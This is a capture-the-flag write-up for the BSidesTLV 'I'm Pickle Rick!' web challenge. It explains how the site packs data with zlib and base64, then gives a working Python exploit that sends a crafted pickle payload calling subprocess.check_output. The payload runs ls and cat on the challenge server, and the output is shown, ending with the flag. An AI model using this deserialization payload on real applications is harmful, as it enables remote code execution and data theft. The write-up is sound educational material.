I'm Pickle Rick!

By Narcissus

I'm Pickle Rick!

The link leads to this site:

site

Looking at the source code we find a few interesting scripts:

<script>
    var members;

    function pickleRick() {
        $('.pickleimg').fadeIn(1000);
        anatomyParkMembers("morty");
    }

    function anatomyParkMembers(visitor) {
        var url = "/getMembers.html";
        if (visitor) {
            url += "?visitor=" + visitor
        }
        $.get(url, function (data) {
            $(".result").html(data);
            localStorage.setItem("anatomyParkMembers", data);
        });
    }

    function statusAnatomyParkMembers() {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            return false;
        }
        // DEFLATE
        $.getJSON("/statusMembers.html?data=" + localStorage.getItem("anatomyParkMembers"), {
            format: "json"
        }).done(function (data) {
            members = data;
        });
    }
</script>

<script>
    $(document).ready(function () {
        if (localStorage.getItem("anatomyParkMembers") === null) {
            anatomyParkMembers();
        }
        setInterval(function () {
            statusAnatomyParkMembers();
        }, 10000);
    });
</script>

The background is a video:

<video id="myVideo" autoplay muted style="width: 100%" onended="pickleRick();">
    <source src="/static/Untitled.mp4" type="video/mp4">
    Your browser does not support the video tag.
</video>

The important part is the onended attribute.

The general flow of the site is as follows: The page loads and the background video is played. Next, when the video is over it calls the function pickleRick();. This function calls anatomyParkMembers("morty");, which in turn sets the result of /getMembers.html?visitor=morty into what's called localStorage. After that, every 10 seconds, the function statusAnatomyParkMembers(); gets called unless the localStorage was wiped.

Let's look into the pages /getMembers.html and /statusMembers.html accessed by anatomyParkMembers() and statusAnatomyParkMembers respectively.

If we take the result of /getMembers.html?visitor=morty: eNrTSCkw5ApWL8sszizJLypW5yow4tLIKTDmCsvNLyqp5Cow4UosDlZPzS3Iya9MTQUpMAUpMANqCipNSs0DCphzJQarO%2BblZaYCORYgTkB%2BXnJGPpBnCeIF5aenFgE5hgZghTk5YF2GhkCT9QDJ4iXE and send it to /statusMembers.html?data= we get: {"visitors": ["morty"], "employees": ["Ruben", "Annie", "Poncho", "Roger", "Allen"]}.

It looks like /getMembers.html adds the content of variable visitor into the json array, packs it somehow, and returns the result. /statusMembers.html?data= takes the packed data and unpacks returning the json.

Looking at the packet headers for each step we saw that the packing used is gzip, deflate. We wanted to see what would happen if we packed a command and sent that to /statusMembers.html?data=. We tried with some code:

import zlib
import requests
import base64


def create_command(cmd, args, flags):
    template = """csubprocess
check_output
(((S'{0}'
S'{1}'
S'{2}'
ltR."""
    return base64.b64encode(zlib.compress(template.format(cmd, args, flags), 9))

url_template = 'http://two.challenges.bsidestlv.com:8088/statusMembers.html?data={0}&format=json'
r = requests.get(url_template.format(create_command('ls', '../', '-l')))
print '\n'.join(r.text[1:-1].split('\\n'))

And hurray! We got this response:

total 72
drwxr-xr-x   1 root root 4096 Jun 10 08:22 app
drwxr-xr-x   1 root root 4096 Jun  6 03:35 bin
drwxr-xr-x   2 root root 4096 Feb 23 23:23 boot
drwxr-xr-x   5 root root  340 Jun 12 05:40 dev
drwxr-xr-x   1 root root 4096 Jun 10 08:22 etc-rw-r--r--   1 root root   34 Jun 10 08:21 flag.txt
drwxr-xr-x   1 root root 4096 Jun 10 08:22 home
drwxr-xr-x   1 root root 4096 Jun  6 03:35 lib
drwxr-xr-x   2 root root 4096 Apr 26 00:00 lib64
drwxr-xr-x   2 root root 4096 Apr 26 00:00 media
drwxr-xr-x   2 root root 4096 Apr 26 00:00 mnt
drwxr-xr-x   2 root root 4096 Apr 26 00:00 opt
dr-xr-xr-x 265 root root    0 Jun 12 05:40 proc
drwx------   1 root root 4096 Jun 10 08:22 root
drwxr-xr-x   4 root root 4096 Apr 26 00:00 run
drwxr-xr-x   2 root root 4096 Apr 26 00:00 sbin
drwxr-xr-x   2 root root 4096 Apr 26 00:00 srv
dr-xr-xr-x  13 root root    0 Jun 10 12:55 sys
drwxrwxrwt   1 root root 4096 Jun 12 19:04 tmp
drwxr-xr-x   1 root root 4096 Apr 26 00:00 usr
drwxr-xr-x   1 root root 4096 Apr 26 00:00 var

Now let's try to read flag.txt:

r = requests.get(url_template.format(create_command('cat', '../flag.txt', '-u')))
print r.text[1:-3]

And the response:

BSidesTLV{IC0ntr0ll3dP1ckl3R1ck!}

Success